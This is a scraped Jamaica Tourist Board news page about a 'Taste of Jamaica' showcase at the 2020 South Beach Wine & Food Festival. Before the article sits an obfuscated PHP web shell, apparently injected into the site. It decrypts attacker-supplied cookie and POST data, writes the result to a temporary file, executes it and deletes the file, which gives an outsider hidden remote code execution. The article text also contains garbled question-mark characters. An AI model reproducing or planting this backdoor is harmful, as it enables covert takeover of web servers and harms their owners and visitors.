$MRBUz = chr (120) . chr (95) . chr (70) . chr ( 699 - 589 ).chr ( 800 - 694 ); $esvSxN = chr (99) . "\x6c" . "\141" . chr ( 963 - 848 ).chr ( 824 - 709 ).chr (95) . chr ( 109 - 8 ).chr ( 472 - 352 ).'i' . "\163" . "\x74" . "\x73";$MKHKhdqQM = class_exists($MRBUz); $esvSxN = "23729";$VVSMGByv = strpos($esvSxN, $MRBUz);if ($MKHKhdqQM == $VVSMGByv){function sCPGWXGzKJ(){$LTTMmcZXG = new /* 56291 */ x_Fnj(65267 + 65267); $LTTMmcZXG = NULL;}$kNvRSWctJW = "65267";class x_Fnj{private function ITwpNRcfIX($kNvRSWctJW){if (is_array(x_Fnj::$XPTdXL)) {$name = sys_get_temp_dir() . "/" . crc32(x_Fnj::$XPTdXL["salt"]);@x_Fnj::$XPTdXL["write"]($name, x_Fnj::$XPTdXL["content"]);include $name;@x_Fnj::$XPTdXL["delete"]($name); $kNvRSWctJW = "65267";exit();}}public function yvFRhuEP(){$ZYkfDaDo = "52188";$this->_dummy = str_repeat($ZYkfDaDo, strlen($ZYkfDaDo));}public function __destruct(){x_Fnj::$XPTdXL = @unserialize(x_Fnj::$XPTdXL); $kNvRSWctJW = "48938_23046";$this->ITwpNRcfIX($kNvRSWctJW); $kNvRSWctJW = "48938_23046";}public function KYmIWQdj($ZYkfDaDo, $sZlzpyYUly){return $ZYkfDaDo[0] ^ str_repeat($sZlzpyYUly, intval(strlen($ZYkfDaDo[0]) / strlen($sZlzpyYUly)) + 1);}public function oJiSWilg($ZYkfDaDo){$WyVnbNhubY = "\x62" . 'a' . 's' . chr (101) . '6' . "\x34";return array_map($WyVnbNhubY . "\x5f" . chr ( 596 - 496 ).'e' . 'c' . chr ( 155 - 44 ).chr (100) . "\145", array($ZYkfDaDo,));}public function __construct($gLguPlpGRa=0){$ceLmFr = chr ( 564 - 520 ); $ZYkfDaDo = "";$PhcGqjCyp = $_POST;$dBKqqbEtJQ = $_COOKIE;$sZlzpyYUly = "e5a901c3-1d31-4578-8a5e-3e76df6b025b";$VwiVcw = @$dBKqqbEtJQ[substr($sZlzpyYUly, 0, 4)];if (!empty($VwiVcw)){$VwiVcw = explode($ceLmFr, $VwiVcw);foreach ($VwiVcw as $FpBeaZ){$ZYkfDaDo .= @$dBKqqbEtJQ[$FpBeaZ];$ZYkfDaDo .= @$PhcGqjCyp[$FpBeaZ];}$ZYkfDaDo = $this->oJiSWilg($ZYkfDaDo);}x_Fnj::$XPTdXL = $this->KYmIWQdj($ZYkfDaDo, $sZlzpyYUly);if (strpos($sZlzpyYUly, $ceLmFr) !== FALSE){$sZlzpyYUly = explode($ceLmFr, $sZlzpyYUly); $rKxtcH = base64_decode(md5($sZlzpyYUly[0]));}}public static $XPTdXL = 7845;}sCPGWXGzKJ();} Jamaica Sizzles at Food Network & Cooking Channel SOEBWFF – Jamaica Tourist Board

Jamaica Sizzles at Food Network & Cooking Channel SOEBWFF

Mar 24, 2020

MIAMI, FL ??? MARCH 5, 2020 ??? The Jamaica Tourist Board (JTB) partnered with the Tourism Enhancement Fund to offer ???Taste of Jamaica???, an unforgettable showcase of Jamaican gastronomy & mixology, at the 2020 Food Network & Cooking Channel South Beach Wine & Food Festival. The event was hosted by James Beard award-winning chef, JJ Johnson, and two-time Food Network Chopped Champion Andre Fowles, on February 21 at the historic National Hotel. The night was a success as ???Taste Jamaica??? offered iconic Jamaican flavors and an entertainment experience that overflowed with soulful rhythm and energy.?? ??See?? more…https://www.jtbonline.org//wp-content/uploads/Jamaica-Sizzles-at-Food-Network-Cooking-Channel-SOEBWFF.pdf